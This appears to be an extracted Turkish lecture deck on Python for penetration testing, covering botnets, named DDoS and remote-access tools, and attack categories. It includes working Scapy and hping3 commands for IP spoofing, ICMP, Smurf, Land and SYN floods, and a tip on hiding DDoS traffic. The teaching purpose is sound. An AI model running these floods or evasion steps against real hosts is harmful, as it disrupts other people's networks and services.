Page 75: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

RoBotNetwork III

I Bot’lar genellikle Internet uzerinde otomatize isleri yerine getirmek amacıyla gelistirilmistirolan yazılımlardır. Arama motoru indeksleme, web spider v.s.

I Botnetler ise DDoS saldırısı duzenlemek amacıyle ele gecirilmis bilgisayar topluluklarınaverilen isimdir.

I Botnet BilesenleriI Command and control (C&C): Botnet uyelerine komutları gonderen bilgisayarlar.I Zombie computer :

I Zararlı gorevleri yerine getirmek icin saldırgan, virus gibi bilesenler tarafından elegecirilen bilgisayarlar.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 76: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

RoBotNetwork IV

Carna Botnet

I ”Default password”, ”no password” router’lar kullanıldı.I 24 saatlik internet kullanımını gostermek icinI Of the 4.3 billion possible IPv4 addresses, Carna Botnet found a total of

1.3 billion addresses in use, including 141 million that were behind afirewall

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 77: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Botnet Propagation

I Yayılım dolaylı olur.

I Saldırgan yonetici olarak calısır,saldırıya katılmaz

I Saldırgan “campaign managers”uzerinden gider

I Saldırgan, saldırı agı olusturur”affiliation network of attackers”

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 78: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Botnet Aracları

Botnet AraclarıI Win32.Shark: backdoor Trojan horse

OzellikleriI reverse connectingI firewall-bypassingI remote admnistration

Yayılma YontemleriI Spam e-postalarI illegal siteler

I Poison Ivy: Remote Access Trojan (RAT)I sifrelerI banka bilgileri

I Netbot AttackerI PlugBot

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 79: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Dos/DDoS Aracları I

I Tribal Flood Network (TFN):I Unix-based, ICMP, Smurf, UDP, SYN flood saldırıları

I Trinoo:I UDP flood

I Stacheldraht:I UDP, ICMP, TCP SYN, Smurf attack

I TFN2K:I WinTrinoo:I ShaftI MStream

I Agent binaries contain a list of master machines that are defined atcompile-time by the attacker.

I Trinity

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 80: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Dos/DDoS Aracları II

Table: DDoS Aracları

DDoS Tool Saldırı YontemiTrinoo UDPTFN UDP, ICMP, TCPStacheldraht UDP, ICMP, TCPTFN2K UDP, ICMP, TCPShaft UDP, ICMP, TCPMStream TCPTrinity UDP, TCP

Ipucu

Kullanılan DDoS aracının olusturdugu trafigin yakalanmasını zorlastırmak icinyuksek port numaraları kullanmalı, iletisim sifreli olmalıdır.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 81: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Dos/DDoS Aracları III

DDoS ToolsI Low Orbit Ion Cannon (LOIC)I High Orbit Ion Cannon (HOIC)I Anonymous DoSI Tor’s HammerI DDOSIMI DAVOSETI PyLorisI Moihack Port-FlooderI XOICI OWASP DOS HTTP Post

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 82: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

High Orbit Ion Cannon (HOIC) I

High Orbit Ion Cannon (HOIC)I HTTP focused distruction tool.I Yuksek hızlı multi-threaded HTTP seliI Es zamanlı farklı sitelere HTTP seliI Farklı HTTP baslıkları olusturarak ”traffic flow” senaryosu calıstırabilmeI Windows icin gelistirilmisI Wine ile Linux, Mac Osx ile kullanılabilir.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 83: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

High Orbit Ion Cannon (HOIC) II

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 84: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

High Orbit Ion Cannon (HOIC) III

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 85: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

High Orbit Ion Cannon (HOIC) IV

PaketlerI ”Follow stream”

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 86: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 87: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

DDoS Saldırıları

OSI katmanları ve DDoS

I L7:I Uygulamalarda bulunan Bellek,

Disk, CPU odaklı buglarI Brute forceI DNS AmplificationI Fork Bomb

I L4:I SYN FloodI TeardropI ACK/FIN/RST floodI DRDOS (Reflection)

I L3:I ICMP/Ping floodI FraggleI SmurfI Ping of Death

I L2:I ARP seliI VTP saldırısı

I L1:I Fiziksel zararI Ag/Guc kablosunun cekilmesi

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 88: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Yontemler

YontemlerI Miktar ArtırmaI Boyut artırmaI Yansıtma

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 89: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 90: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

IP Sahteciligi I

IP Sahteciligi (IP Spoofing)I istenilen sahte ip adresinden TCP/IP paketleri gonderilmesiI TCP, UDP, IP, ICMP, HTTP, SMTP, DNS

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 91: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

IP Sahteciligi II

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 92: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

IP Sahteciligi Scapy

from scapy.all import *

A = ’192.168.0.101’ # spoofed source IP addressB = ’192.168.0.102’ # destination IP addressC = 10000 # source portD = 20000 # destination portpayload = "yada yada yada" # packet payload

spoofed_packet=IP(src=A,dst=B)/TCP(sport=C,dport=D)/payloadsend(spoofed_packet)

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 93: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

ICMP Attacks I

ICMP AttacksI Ping sweep:

I Ag uzerinde bulunan bilgisayarların kesfi icin kullanılan en eskiyontemlerden biri.

Listing 6: fping kullanımı

$ fping -g 192.168.2.1/24192.168.2.1 is alive192.168.2.2 is alive192.168.2.6 is alive

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 94: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

ICMP Attacks II

Listing 7: nmap kullanımı$ nmap -sP 192.168.2.1/24 -open

Starting Nmap 7.12 ( https://nmap.org ) at 2017-02-18 21:53 MSKNmap scan report for 192.168.2.1Host is up (0.0076s latency).Nmap scan report for 192.168.2.2Host is up (0.0078s latency).Nmap scan report for 192.168.2.6Host is up (0.00045s latency).Nmap scan report for 192.168.2.7Host is up (0.038s latency).Nmap done: 256 IP addresses (4 hosts up) scanned in 3.81 seconds

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 95: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

ICMP Attacks III

Listing 8: Bash for loop script versiyonu$ for i in {1..254};do ping -c 1 192.168.2.$i |grep ’from’;done64 bytes from 192.168.2.1: icmp_seq=0 ttl=64 time=4.122 ms64 bytes from 192.168.2.2: icmp_seq=0 ttl=64 time=1.544 ms64 bytes from 192.168.2.4: icmp_seq=0 ttl=64 time=906.586 ms

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 96: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Ping Flood (ICMP Flood) I

ICMP SeliI Saldırgan, kurban bilgisayara cok yuksek miktarda ICMP (ping) istekleri

gondererek kaynak tuketimine yol acmasını saglarI Saldırı 3 kategoriye ayrılabilir.

I Hedefli ping seli: Lokal ag icerisinde yer alan bilgisayar. Saldırgan fizikselerisimi mevcut

I Router hedefli ping seli: Hedef routerlar, amac ag icerisinde yer alanbilgisayar haberlesmesinin engellenmesi.

I Blind Ping Flood:

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 97: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Ping Flood (ICMP Flood) II

Listing 9: Python ICMP selifrom scapy.all import *ip_hdr = IP(dst="192.168.2.1")packet = ip_hdr/ICMP()/("m"*60000) #send 60kb of junksend(packet)

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 98: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Ping Flood (ICMP Flood) III

Listing 10: Hping3 ICMP selihping3 -1 --flood 192.168.2.7

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 99: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

ICMP Smurf I

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 100: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

ICMP Smurf II

Listing 11: Python ICMP Smurf

from scapy.all import *victim_ip = "192.168.2.7"ip_hdr = IP(src=victim_ip, dst="192.168.2.6")packet = ip_hdr/ICMP()/("m"*60000) #send 60kb of junksend(packet)

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 101: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

ICMP Smurf III

Listing 12: Hping3 ICMP Smurf

hping3 -1 --flood -a 192.168.2.3 192.168.2.7

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 102: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Land Attack I

Land SaldırısıI Saldırgan spoof edilmis SYN paketleri gonderirI Paketlerde source ve destination IP adresleri kurbanın IP adresidir.I Kurban cevap olarak kendisine SYN-ACK paketi gonderir.I Bu sekilde sistem kaynaklarının tuketilmesi hedeflenir

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 103: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Land Attack II

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 104: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Land Attack III

Listing 13: Land Attackhping3 -c 1 --baseport 80 --destport 80 -S --spoof X.X.X.X X.X.X.X

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 105: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Land Attack IV

Listing 14: Python Land Attack>>> send(IP(src="192.168.2.7", dst="192.168.2.7")/TCP(sport=135,dport=135), count=2000)

................................................Sent 2000 packets.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 106: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

TCP SYN Seli I

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 107: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

TCP SYN Seli II

Listing 15: Hping SYN Seli

$ sudo hping3 --flood -S -p 88 192.168.2.7

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python